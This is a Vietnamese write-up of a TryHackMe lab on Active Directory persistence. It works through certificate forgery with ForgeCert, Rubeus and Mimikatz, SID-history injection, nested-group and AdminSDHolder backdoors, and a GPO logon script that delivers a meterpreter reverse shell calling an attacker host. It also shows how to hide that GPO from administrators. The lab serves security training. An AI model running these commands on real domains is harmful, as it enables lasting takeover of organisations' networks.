PS C:\Users\louis.cole> C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
CA Certificate Information:
  Subject:        CN=za-THMDC-CA, DC=za, DC=tryhackme, DC=loc
  Issuer:         CN=za-THMDC-CA, DC=za, DC=tryhackme, DC=loc
  Start Date:     4/27/2022 7:58:15 PM
  End Date:       4/27/2027 8:08:09 PM
  Thumbprint:     C12FCB4B88467854B3D4D7F762ADB50B0FD8346E
  Serial:         1EF93E3A3DA3249842EF04E3DA57E190
 
Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: Administrator@za.tryhackme.loc
  Issuer:         CN=za-THMDC-CA, DC=za, DC=tryhackme, DC=loc
  Start Date:     10/12/2024 6:14:59 PM
  End Date:       10/12/2025 6:14:59 PM
  Thumbprint:     C56736799D9C5753D4DEAF159DEFF106748CF697
  Serial:         00F775ED61FE8CC9D3B269903449411E8F
 
Done. Saved forged certificate to fullAdmin.pfx with the password 'Password123'

Giải thích một số option:

  • CaCertPath: certificate của CA.
  • CaCertPassword: như đã đề cập, là mimikatz.
  • Subject: không quan trọng trong ngữ cảnh hiện tại.
  • SubjectAltName: là User Principal Name (UPN) của tài khoản mà ta sẽ giả mạo. Nó cần phải là một user hợp lệ.

Sau đó, sử dụng Rubeus để yêu cầu TGT từ certificate vừa tạo:

PS C:\Users\louis.cole> C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.88.101
 
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.0.0
 
[*] Action: Ask TGT
 
[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=User
[*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
 
      doIGDDCCBgigAwIBBaEDAgEWooIFADCCBPxhggT4MIIE9KADAgEFoRIbEFpBLlRSWUhBQ0tNRS5MT0Oi
      JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEHphLnRyeWhhY2ttZS5sb2OjggSwMIIErKADAgESoQMCAQKiggSe
      BIIEmgc8Pf0M1OUvCU/AtaupgJPNX7fr9uGypRnbN3UqDwyGk3n/m3Mzt22MjNafNxwPg6OzhTGjqs5w
      pCMCNFYMAsrOleUaLJMmk6hR9G31cHRVmVIzkseCAt+KWgllXfTR4qvHan3bDGCVfds8tUms3W5JWZTq
      jp44Wc2kbMtFox/fu2z5DsgwIQtyaaMlOw0EsaIN0hma3s+ROTBuF3dbE8omUqILkV71kU4wFHk1rX7K
      d3wbmcaE4xU4HKAvqpb6X9IJ9X4XI3vmjSvPk7StI40jUD5SmHxTxn33JCiJbkF36sOvdNBIdxoAxj3x
      ESqzqNm5a70u+sGX2vjuPUCQNEdyV9bBmM8FqJQmFKY81xhV3w5byIM42ESh3aElol1fGZJsiEFPoErA
      /S+A32gGuNY5xnZoZtDjqaP6S1lX+82ww68O8BcDnPZliVbwEdfG2bvcQlQmP5KTAvKjr12lFJgCos9o
      Lzc3ZGjcDZi1CSsdPYvG7n7YbWmNfqW6yZ7aErBvpvGzfb5DnLVZ4g0qgLvvEwSjkvOzp/IgPkSbI8aM
      DTCK7pYn+Q4Oyeifsf5V4YdXX32mgrXOSu5Exa6PqGVQyVzLQv8864N1ZullkLBRSZT1t6OWU6TnWP+D
      L0gvQSDx3u4+mezGXCMVyEoB1p6dc10QOdT2Rvm9Z/WLXLTIxfQT2HwhuQ81t7isC9e/gelfhYO2B5Cl
      K0dQLNVhTOt3T78qkW0OboA6/g2K86UbDi9DPTDJtL/r+jjPj2PpzrZc7YFfd2sZBL0aTP6WrIpLh6OY
      FdhEL5AB1yHqPPAAppHfWuGEQ6tz+7RRfNjL5FNTb7goBZVvITiLQkECb009QogsctZJo90suqC5zHHn
      mRKGZTrWzUfPsTGrtouvmAdLzqtBWvR//I58y+RgMq5GI/SGv0PghRMsRJ6DNq73ezsQWkIK2nQ3Q7HX
      2v/M4uaVo94fy43FLHAAGsnwM8T1Qxe6Gu646qqBVRocm5apbk73FFwRaidPtzvcWINp5OZwsrTdLNOR
      N8+dm4105wFnsXpNtrbsC3DylZZpU6Nd84gbpLvrha8O9vRZffYoFqC3BSV+c4BtGTfgWlPOOHG38j6R
      K+ni3nI/2xl59xFyISw2koLunX5BVG4d0wkASMkT0Ecrryilz8IWVQsKJ/ZCq6nzmVRaiYlNzbIQsEH7
      Qhs/wB5IQp6Asa16elGwIPimhm/GMPUUWQukx+9+YgcDhf7qwAwOAPi2D3oRE3bki+kJIC7Uta3m/Dzn
      nu26egmN4iFsRGCrT43cswqWvLaBpgLgUtKB/VNqCJMf5XqxPTpd7yJg8+uthOZ4G6GFMYd4zHR7KR+8
      5odybh+ISindEPJ7kAnjrylnEINGFvSW0zafJSd1uLjVJBwhR/xUqEj9lw3W+hdENvNVwhQohVEt/fw8
      TkczpAwzwYtJVcDS330WRVHPEtmpepx6OlmeDGJjy+x5PKRqc3yCrErhLkoE59RImkT5cSg2OgqRkbEX
      pGoQ7LzpSsj83nzEwXsgeDucg+1XB7WaFAGubvkvCVquPSn/oRRb1nFbo4H3MIH0oAMCAQCigewEgel9
      geYwgeOggeAwgd0wgdqgKzApoAMCARKhIgQgspvW6hD5xxcyZ70bupXI8dQtbby6CPqtcAIZ1ZE2b8Kh
      EhsQWkEuVFJZSEFDS01FLkxPQ6IaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgP
      MjAyNDEwMTIxNzIzMDRaphEYDzIwMjQxMDEzMDMyMzA0WqcRGA8yMDI0MTAxOTE3MjMwNFqoEhsQWkEu
      VFJZSEFDS01FLkxPQ6klMCOgAwIBAqEcMBobBmtyYnRndBsQemEudHJ5aGFja21lLmxvYw==
 
[*] Ticket written to administrator.kirbi
 
 
  ServiceName              :  krbtgt/za.tryhackme.loc
  ServiceRealm             :  ZA.TRYHACKME.LOC
  UserName                 :  Administrator
  UserRealm                :  ZA.TRYHACKME.LOC
  StartTime                :  10/12/2024 6:23:04 PM
  EndTime                  :  10/13/2024 4:23:04 AM
  RenewTill                :  10/19/2024 6:23:04 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  spvW6hD5xxcyZ70bupXI8dQtbby6CPqtcAIZ1ZE2b8I=
  ASREP (key)              :  67C8B108946D66F4A560E41DCC2B0358C327340E78484F78FC54A6A2FC50338D

Nếu gặp lỗi KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP thì làm theo các bước sau.

Cuối cùng, sử dụng Mimikatz để nạp TGT vào bộ nhớ:

PS C:\Users\louis.cole> C:\Tools\mimikatz_trunk\x64\mimikatz.exe
 
mimikatz # kerberos::ptt administrator.kirbi
* File: 'administrator.kirbi': OK
 
mimikatz # exit
Bye!
 
PS C:\Users\louis.cole> klist
 
Current LogonId is 0:0x2c99bd
 
Cached Tickets: (1)
 
#0>     Client: Administrator @ ZA.TRYHACKME.LOC
        Server: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 10/12/2024 18:23:04 (local)
        End Time:   10/13/2024 4:23:04 (local)
        Renew Time: 10/19/2024 18:23:04 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Thử thực hiện liệt kê thư mục của THMDC:

PS C:\Users\louis.cole> dir \\THMDC.za.tryhackme.loc\c$\
 
 
    Directory: \\THMDC.za.tryhackme.loc\c$
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/15/2018   8:19 AM                PerfLogs
d-r---        5/11/2022  10:32 AM                Program Files
d-----        3/21/2020   8:28 PM                Program Files (x86)
d-----         7/6/2022   4:38 PM                tmp
da----        6/30/2022   2:58 PM                Tools
d-r---        4/27/2022   8:22 AM                Users
d----l        4/25/2022   7:11 PM                vagrant
d-----         7/3/2022   9:51 AM                Windows
-a----         1/4/2022   7:47 AM            103 delete-vagrant-user.ps1
-a----         5/1/2022   9:11 AM            169 dns_entries.csv
-a----         7/3/2022   6:05 PM           7168 shell.exe
-a----         5/1/2022   9:17 AM           1725 thm-network-setup-dc.ps1

SID History

SID được sử dụng để kiểm soát truy cập và phân quyền trong Active Directory (AD). Ví dụ: S-1-5-21-3623811015-3361044348-30300820-500.

Cấu trúc của SID trên:

  • S-1-5-21: Là phần tiền tố (prefix) của SID.
  • 3623811015-3361044348-30300820-500: Là một chuỗi duy nhất bao gồm các thành phần đặc trưng của domain và một Relative Identifier (RID). Một số RID có ý nghĩa đặc biệt, ví dụ:
    • 500: Dành cho tài khoản Administrator mặc định.
    • 501: Dành cho tài khoản Guest.

Các AD object có một thuộc tính tên là SID history. Thuộc tính này được sử dụng phổ biến khi thực hiện di chuyển (migrate) các tài khoản giữa các domain. Cụ thể, nếu một tài khoản thuộc domain mới cần truy cập vào tài nguyên ở domain cũ, SID của tài khoản ở domain mới sẽ được thêm vào SID history của tài khoản ở domain cũ.

SID history không chỉ có thể chứa các SID từ các domain khác mà còn có thể chứa các SID từ cùng một domain hiện tại. Chúng ta có thể lợi dụng điều này để duy trì quyền truy cập lâu dài.

History Can Be Whatever We Want It To Be

  • Để duy trì quyền truy cập qua SID History, ta cần quyền của nhóm Domain Admins hoặc quyền tương đương.
  • Khi một user đăng nhập, các SID gắn liền với user đó (bao gồm cả SID history) sẽ được thêm vào token và được dùng để xác định các quyền hạn của user.
  • Nếu có thể chèn SID của nhóm Enterprise Admin vào token, chúng ta có thể leo thang đặc quyền và trở thành Domain Admin cho toàn bộ các domain trong forest.
  • Do các SID được chèn trực tiếp vào token, các quyền hạn của người dùng sẽ vẫn hợp lệ ngay cả khi người đó không thực sự là thành viên của nhóm có đặc quyền. Điều này khiến cho kỹ thuật duy trì quyền truy cập bằng SID history khó bị phát hiện. Chúng ta thậm chí còn có thể sử dụng tài khoản này để sửa đổi SID history của user khác, giúp việc duy trì quyền truy cập trở nên khó phát hiện và ngăn chặn hơn.

Forging History

Truy cập vào THMDC thông qua SSH và sử dụng tài khoản của một Administrator. Trước khi làm giả SID history, ta cần đảm bảo tài khoản có quyền thấp của chúng ta không có thông tin gì ở trong SID history:

PS C:\Users\Administrator> Get-ADUser louis.cole -properties sidhistory,memberof
 
 
DistinguishedName : CN=louis.cole,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled           : True
GivenName         : Louis
MemberOf          : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}
Name              : louis.cole
ObjectClass       : user
ObjectGUID        : bf78bdb9-3289-461d-8193-d7fd88d3b23b
SamAccountName    : louis.cole
SID               : S-1-5-21-3885271727-2693558621-2658995185-1120
SIDHistory        : {}
Surname           : Cole
UserPrincipalName :

Truy vấn SID của nhóm Domain Admins, cũng là nhóm mà ta muốn thêm vào SID history:

PS C:\Users\Administrator> Get-ADGroup "Domain Admins"
 
 
DistinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=loc
GroupCategory     : Security
GroupScope        : Global
Name              : Domain Admins
ObjectClass       : group
ObjectGUID        : 3a8e1409-c578-45d1-9bb7-e15138f1a922
SamAccountName    : Domain Admins
SID               : S-1-5-21-3885271727-2693558621-2658995185-512

Chúng ta sẽ sử dụng công cụ DSInternals để patch file ntds.dit (là nơi lưu trữ tất cả các thông tin của AD) nhằm thêm SID của nhóm Domain Admins vào SID history của một tài khoản có quyền thấp.

PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force 
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit 
PS C:\Users\Administrator.ZA>Start-Service -Name ntds  

NTDS database bị khóa khi NTDS service đang chạy nên ta cần dừng nó trước khi thực hiện patch file ntds.dit. Sau đó, ta cần phải restart NTDS service để việc xác thực của toàn bộ network có thể hoạt động bình thường.

Sau các bước trên, SSH vào THMWRK1 sử dụng tài khoản có quyền thấp mà ta vừa chỉnh sửa SID history để xác nhận:

PS C:\Users\louis.cole> Get-ADUser louis.cole -Properties sidhistory
 
 
DistinguishedName : CN=louis.cole,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled           : True
GivenName         : Louis
Name              : louis.cole
ObjectClass       : user
ObjectGUID        : bf78bdb9-3289-461d-8193-d7fd88d3b23b
SamAccountName    : louis.cole
SID               : S-1-5-21-3885271727-2693558621-2658995185-1120
SIDHistory        : {S-1-5-21-3885271727-2693558621-2658995185-512}
Surname           : Cole
UserPrincipalName :

Ta có thể liệt kê thư mục của THMDC:

PS C:\Users\louis.cole> dir \\thmdc.za.tryhackme.loc\c$
 
 
    Directory: \\thmdc.za.tryhackme.loc\c$
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/15/2018   8:19 AM                PerfLogs
d-r---        5/11/2022  10:32 AM                Program Files
d-----        3/21/2020   8:28 PM                Program Files (x86)
d-----         7/6/2022   4:38 PM                tmp
da----        6/30/2022   2:58 PM                Tools
d-r---        4/27/2022   8:22 AM                Users
d----l        4/25/2022   7:11 PM                vagrant
d-----         7/3/2022   9:51 AM                Windows
-a----         1/4/2022   7:47 AM            103 delete-vagrant-user.ps1
-a----         5/1/2022   9:11 AM            169 dns_entries.csv
-a----         7/3/2022   6:05 PM           7168 shell.exe
-a----         5/1/2022   9:17 AM           1725 thm-network-setup-dc.ps1

Pitchforks and Torches From the Blue Team

Chúng ta có thể sử dụng “AD Users and Groups” snap-in của MMC để xem SID history của user. Tuy nhiên, cho dù là user có quyền cao nhất cũng không thể xóa SID ra khỏi SID history bởi vì nó được bảo vệ. Để có thể xóa thì cần phải sử dụng các cmdlet thuộc AD-RSAT. Vấn đề là, để có thể xóa thì cần phải tìm được SID trái phép cần xóa. Việc này là khá khó do SID history chỉ được sử dụng một lần duy nhất khi user đăng nhập.

Group Membership

SID history vẫn có thể bị ngăn chặn trong trường hợp blue team thực hiện dọn dẹp các credential. Do đó, trong một số trường hợp, ta sẽ nhắm vào các nhóm ở trong AD bằng cách thêm user của chính chúng ta vào các nhóm đó.

Persistence Through Group Membership

Chúng ta không thể nhắm vào các nhóm có quá nhiều đặc quyền chẳng hạn như Domain Admins hoặc Enterprise Admins bởi vì các nhóm này được theo dõi rất sát sao. Thay vào đó, ta có thể nhắm vào các nhóm sau:

  • IT Support mà có các đặc quyền chẳng hạn như reset password (mặc dù trong đa số các trường hợp chúng ta không thể reset password của các user có đặc quyền cao).
  • Các nhóm có quyền quản trị cục bộ bởi vì chúng không được giám sát thường xuyên.
  • Đôi khi có thể là các nhóm có quyền sở hữu các GPO.

Nested Groups

Trong các tổ chức lớn thường có các nhóm lồng nhau nhằm khiến cho việc quản lý dễ dàng hơn. Ví dụ, nhóm IT support có thể có các nhóm con là Help Desk, Access Card Managers hoặc Network Managers. Nếu không cấu hình gì thêm cho từng nhóm con, chúng sẽ được kế thừa các quyền hạn được gán cho nhóm cha.

Việc có các nhóm lồng nhau có thể gây ra vấn đề về giám sát. Ví dụ, nếu có một user được thêm vào nhóm Domain Admins, ta sẽ không biết được user đó thực sự được thêm vào Domain Admins hay nhóm con của Domain Admins. Như vậy, attacker có thể thêm user vào các nhóm con để tránh khỏi việc bị giám sát.

Nesting Our Persistence

Tạo ra một nhóm cơ sở mà ta sẽ giấu ở trong IT Organizational Unit thuộc People:

New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "aleister1102 Net Group 1" -SamAccountName "aleister1102_nestgroup1" -DisplayName "aleister1102 Nest Group 1" -GroupScope Global -GroupCategory Security

Tạo ra một nhóm khác ở trong Sales Organizational Unit thuộc People và thêm nhóm trước đó (aleister1102_nestgroup1) vào làm một thành viên của nhóm này:

New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "aleister1102 Net Group 2" -SamAccountName "aleister1102_nestgroup2" -DisplayName "aleister1102 Nest Group 2" -GroupScope Global -GroupCategory Security
 
Add-ADGroupMember -Identity "aleister1102_nestgroup2" -Members "aleister1102_nestgroup1"

Chúng ta có thể lặp lại việc trên một vài lần:

New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "aleister1102 Net Group 3" -SamAccountName "aleister1102_nestgroup3" -DisplayName "aleister1102 Nest Group 3" -GroupScope Global -GroupCategory Security
 
Add-ADGroupMember -Identity "aleister1102_nestgroup3" -Members "aleister1102_nestgroup2"
 
New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "aleister1102 Net Group 4" -SamAccountName "aleister1102_nestgroup4" -DisplayName "aleister1102 Nest Group 4" -GroupScope Global -GroupCategory Security
 
Add-ADGroupMember -Identity "aleister1102_nestgroup4" -Members "aleister1102_nestgroup3"
 
New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "aleister1102 Net Group 5" -SamAccountName "aleister1102_nestgroup5" -DisplayName "aleister1102 Nest Group 5" -GroupScope Global -GroupCategory Security
 
Add-ADGroupMember -Identity "aleister1102_nestgroup5" -Members "aleister1102_nestgroup4"

Rồi thêm nhóm được tạo ra cuối cùng vào nhóm Domain Admins:

Add-ADGroupMember -Identity "Domain Admins" -Members "aleister1102_nestgroup5"

Và thêm user mà ta muốn có đặc quyền của Domain Admins vào nhóm được tạo ra đầu tiên:

Add-ADGroupMember -Identity "aleister1102_nestgroup1" -Members "louis.cole"

Có thể thấy, user được thêm vào một nhóm con mà được bọc bởi nhiều nhóm cha bên ngoài, bao gồm cả Domain Admins. Tuy nhiên, cho dù chúng ta tạo nhiều nhóm thì Domain Admins cũng chỉ có duy nhất 1 nhóm mới được thêm vào:

PS C:\Users\louis.cole> Get-ADGroupMember -Identity "Domain Admins"
 
 
distinguishedName : CN=Administrator,CN=Users,DC=za,DC=tryhackme,DC=loc
name              : Administrator
objectClass       : user
objectGUID        : 0bbd7980-b53b-4634-8a28-57e4234655c2
SamAccountName    : Administrator
SID               : S-1-5-21-3885271727-2693558621-2658995185-500
 
distinguishedName : CN=matthew.williams,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
name              : matthew.williams
objectClass       : user
objectGUID        : c4f5743a-c362-49c5-b95c-5ec2a33bf480
SamAccountName    : matthew.williams
SID               : S-1-5-21-3885271727-2693558621-2658995185-1114
 
distinguishedName : CN=Am0 Net Group 5,OU=IT,OU=People,DC=za,DC=tryhackme,DC=loc
name              : Am0 Net Group 5
objectClass       : group
objectGUID        : ba545574-6af9-4a3d-a8df-24ab582fc04c
SamAccountName    : am0_nestgroup5
SID               : S-1-5-21-3885271727-2693558621-2658995185-6163
 
distinguishedName : CN=timtaylor Net Group 5,OU=IT,OU=People,DC=za,DC=tryhackme,DC=loc
name              : timtaylor Net Group 5
objectClass       : group
objectGUID        : c7df8bd5-d8ed-44a6-9ec2-375935db3c83
SamAccountName    : timtaylor_nestgroup5
SID               : S-1-5-21-3885271727-2693558621-2658995185-6168
 
distinguishedName : CN=aleister1102 Net Group 5,OU=IT,OU=People,DC=za,DC=tryhackme,DC=loc
name              : aleister1102 Net Group 5
objectClass       : group
objectGUID        : f2f2160c-d918-4a83-b8e1-7041e09878df
SamAccountName    : aleister1102_nestgroup5
SID               : S-1-5-21-3885271727-2693558621-2658995185-6606

Annoying More Than Just The Blue Team

Trong thực tế, attacker sẽ không tạo nhóm mà tận dụng những nhóm có sẵn. Tuy nhiên, không bao giờ thực hiện việc này khi thực hiện bài đánh giá red team bởi vì nó sẽ phá hỏng cấu trúc của AD và sẽ cần phải xây dựng lại toàn bộ AD.

ACLs

Chúng ta có thể thêm tài khoản mà ta kiểm soát vào các template được dùng để tạo ra các nhóm mặc định. Bằng cách này, cho dù tài khoản của chúng ta bị xóa khỏi nhóm thì nó vẫn sẽ tự động được thêm lại khi template được refresh.

Một trong số những mục tiêu là AdminSDHolder container, tồn tại trong tất cả các AD domain và ACL của nó được sử dụng như một template để sao chép quyền tới tất cả các nhóm được bảo vệ, bao gồm những nhóm có đặc quyền cao chẳng hạn như Domain Admins, Administrators, Enterprise Admins, và Schema Admins.

Có một tiến trình tên là Security Descriptor Propagator (SDProp) sẽ sao chép ACL của AdminSDHolder và áp dụng nó cho tất cả các nhóm được bảo vệ mỗi 60 phút. Điều này cho phép chúng ta ghi một ACE để cấp toàn quyền truy cập cho một tài khoản mà mình kiểm soát trên tất cả các nhóm được bảo vệ. Nếu đội blue team không nhận biết được phương thức duy trì quyền truy cập này, việc xử lý sẽ rất khó khăn. Mỗi lần họ gỡ bỏ quyền không phù hợp trên các đối tượng hoặc nhóm được bảo vệ, quyền đó sẽ tự động xuất hiện lại trong vòng một giờ. Vì quá trình này xảy ra thông qua các quy trình bình thường của AD, nên đội blue team sẽ không nhận được cảnh báo nào, khiến họ khó xác định được nguồn gốc của phương thức duy trì quyền truy cập này.

Persisting with AdminSDHolder

Chúng ta sẽ sử dụng MMC để thực hiện duy trì quyền truy cập thông qua AdminSDHolder. Để hạn chế việc đá các user khác khỏi RDP session của họ thì ta nên RDP vào THMWRK1 sử dụng một tài khoản có quyền thấp rồi sử dụng runas để chèn credential của Administrator vào bộ nhớ và thực thi MMC.

Sau khi chạy MMC thì thêm vào “Users and Groups” snap-in và bật “Advanced Features”. Chúng ta có thể tìm thấy AdminSDHolder ở mục System. Chuột phải vào AdminSDHolder rồi chọn tab Security và thêm vào tài khoản có quyền thấp mà ta kiểm soát cũng như là cấp đầy đủ quyền cho tài khoản đó.

Bây giờ ta sẽ cần phải chờ 60 phút để tài khoản của chúng ta có đầy đủ quyền ở trên các nhóm được bảo vệ. Nếu không muốn chờ, ta có thể sử dụng script Invoke-ADSDPropagation.

Ở trên TryHackMe, script `Invoke-ADSDPropagation` nằm ở server `THMDC` thay vì `THMWRK1` (Tham khảo [discord của TryHackMe](https://discord.com/channels/521382216299839518/994316857010049044/1038449362029789204)).

Sau khi chạy script thì kiểm tra các thành viên của Domain Admins để chắc chắn rằng user mà ta vừa thêm có trong đó:

Thử xóa user ra khỏi Domain Admins và chạy lại script thì kết quả vẫn tương tự. Điều này chứng minh rằng cho dù blue team có xóa tài khoản của chúng ta ra khỏi các nhóm được bảo vệ thì SDProp vẫn sẽ thêm vào lại. Ngoài ra, dù ta có quyền chỉnh sửa Domain Admins, nó vẫn không tự động thêm tài khoản mà ta kiểm soát vào mà cần phải thêm thủ công.

GPOs

Group Policy Management ở trong AD cung cấp một cơ chế giúp tập trung hóa việc quản lý các chính sách cấu hình cục bộ của các domain-joined machine. Attacker có thể lợi dụng GPO để duy trì quyền truy cập. Tồi tệ hơn, attacker thường giấu GPO theo một cách mà blue team không thể nào xóa.

Domain Wide Persistence

Có một vài kỹ thuật duy trì quyền truy cập với GPO:

  • Restricted Group Membership: cho phép chúng ta có quyền quản trị trên tất cả các host ở trong domain.
  • Logon Script Deployment: đảm bảo rằng ta nhận được reverse shell mỗi khi một user xác thực với một host ở trong domain.

Chúng ta sẽ tập trung vào kỹ thuật thứ 2 do kỹ thuật thứ nhất đã được sử dụng ở trong GPOs. Cụ thể hơn, ta sẽ tạo ra một GPO và liên kết nó với Admins OU nhằm cho phép chúng ta có thể nhận được reverse shell ở trên một host bất cứ khi nào một admin xác thực với host đó.

Preparation

Trước khi tạo GPO, ta cần tạo reverse shell, file .bat dùng để chạy reverse shell và chạy listener để hứng reverse shell.

Tạo ra reverse shell:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > aleister1102_shell.exe

Windows cho phép chúng ta thực thi Batch hoặc PowerShell script thông qua GPO đăng nhập (login GPO). Batch script thường ổn định hơn PowerShell nên ta sẽ dùng nó. Tạo ra batch script có tên là aleister1102_script.bat với nội dung như sau:

copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\aleister1102_shell.exe C:\tmp\aleister1102_shell.exe && timeout /t 20 && C:\tmp\aleister1102_shell.exe

Script trên sẽ sao chép reverse shell từ SYSVOL vào máy cục bộ và chờ 20 giây trước khi thực thi nó.

Sử dụng scp để sao chép reverse shell và batch script đến thư mục của SYSVOL:

scp aleister1102_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
The authenticity of host 'thmdc.za.tryhackme.loc (10.200.88.101)' can't be established.
ED25519 key fingerprint is SHA256:50ZqYlTFUYKTHHPzgPNzG0gSydLnknXL0Ea7lUs7tT8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:23: thmjmp1.za.tryhackme.com
    ~/.ssh/known_hosts:24: 10.200.76.248
    ~/.ssh/known_hosts:28: 10.200.71.201
    ~/.ssh/known_hosts:30: thmwrk1.za.tryhackme.loc
    ~/.ssh/known_hosts:31: 10.200.88.248
    ~/.ssh/known_hosts:32: 10.200.88.101
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thmdc.za.tryhackme.loc' (ED25519) to the list of known hosts.
za\Administrator@thmdc.za.tryhackme.loc's password:
aleister1102_shell.exe
 
scp aleister1102_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
za\Administrator@thmdc.za.tryhackme.loc's password:
aleister1102_script.bat

Khởi chạy listener:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"

GPO Creation

RDP vào THMWRK1 và chạy runas rồi mở MMC. Sau đó, thêm vào “Group Policy Management” snap-in.

Chuột phải vào Admins OU và chọn “Create a GPO” ở trong domain và “Link it here”.

Sau khi tạo GPO thì chuột phải vào và chọn “Enforced”. Việc này giúp đảm bảo GPO được áp dụng kể cả khi xảy ra sự xung đột. Hơn thế nữa, nó có thể đảm bảo rằng GPO của chúng ta có sự ưu tiên cao hơn các GPO khác mà được tạo ra bởi blue team nhằm loại bỏ việc duy trì truy cập của chúng ta.

Kế đến, chuột phải vào GPO lần nữa và chọn “Edit”. Ở mục “User Configuration”, chọn “Policies” rồi chọn “Windows Settings”. Ở cài đặt “Scripts”, mở Properties menu và thêm vào batch script mà ta đã upload lên SYSVOL của AD.

Giả lập bằng cách reset password của một Tier 1 Admin rồi xác thực với một server (THMSERVER1 hoặc THMSERVER2). Khi đó, ta sẽ nhận được reverse shell.

$Password = ConvertTo-SecureString "Password@123" -AsPlainText -Force
Set-ADAccountPassword -Identity "t1_steven.blake" -Reset -NewPassword $Password
Chúng ta cần tạo ra một sự kiện Login để thực thi GPO. Nếu chỉ đóng RDP session thì GPO sẽ không được kích hoạt. Thay vào đó, để đảm bảo rằng sự kiện Login được tạo ra khi xác thực thì ta cần thực hiện sign out.

Hiding in Plain Sight

Để bảo đảm blue team không thể gỡ bỏ GPO giúp duy trì quyền truy cập của chúng ta, trước tiên ta cần truy cập vào tab “Delegation” của GPO trên “MMC” (không phải Group Policy Management Editor). Theo mặc định, các Administrator có quyền chỉnh sửa GPO nên cần loại bỏ quyền này qua các bước sau:

  1. Nhấp chuột phải vào “Enterprise Domain Controllers” và chọn “Edit settings, delete, modify security.”
  2. Chọn từng nhóm khác (ngoại trừ Authenticated Users) và nhấp “Remove” để loại bỏ quyền.

Kết quả:

Tiếp theo, vào “Advanced” và xóa tất cả quyền của Created Owner.

Mặc định, mọi user đã xác thực đều có quyền xem GPO để GPO có thể được áp dụng khi họ đăng nhập. Nếu GPO của chúng ta không cần logon script, có thể xóa luôn quyền này để ngăn chặn mọi quyền truy cập vào GPO.

Chúng ta có thể thay thế Authenticated Users bằng Domain Computers để đảm bảo các máy vẫn có thể đọc và áp dụng GPO. Tuy nhiên, việc này sẽ khiến logon script không hoạt động do user không thể đọc GPO, và không có reverse shell nào sẽ được kích hoạt.

Bằng cách này, blue team không thể xóa GPO trừ khi họ có quyền truy cập vào machine account của domain controller. Kỹ thuật này khó bị phát hiện và rất khó khắc phục. Dù vậy, vẫn có thể kiểm tra xem GPO hoạt động bình thường bằng cách truy cập qua RDP vào các server (THMSERVER1 hoặc THMSERVER2).

Additional Persistence Techniques

Một số kỹ thuật duy trì quyền truy cập khác:

  • Skeleton Keys: sử dụng Mimikatz, ta có thể tạo một “skeleton key” - một mật khẩu mặc định có thể dùng để truy cập bất kỳ tài khoản nào trong domain. Mật khẩu này hoạt động song song với mật khẩu thông thường nên rất khó bị phát hiện. Kỹ thuật này cho phép kẻ tấn công đóng giả bất kỳ tài khoản nào trong domain mà không cần thay đổi mật khẩu của họ.
  • Directory Service Restore Mode (DSRM): mỗi domain controller (DC) có một tài khoản DSRM dùng trong trường hợp khẩn cấp để khôi phục lại DC. Mật khẩu này ít khi thay đổi và có thể được lấy ra bằng Mimikatz, cho phép kẻ tấn công có quyền quản trị ở trên các DC trong domain một cách lâu dài.
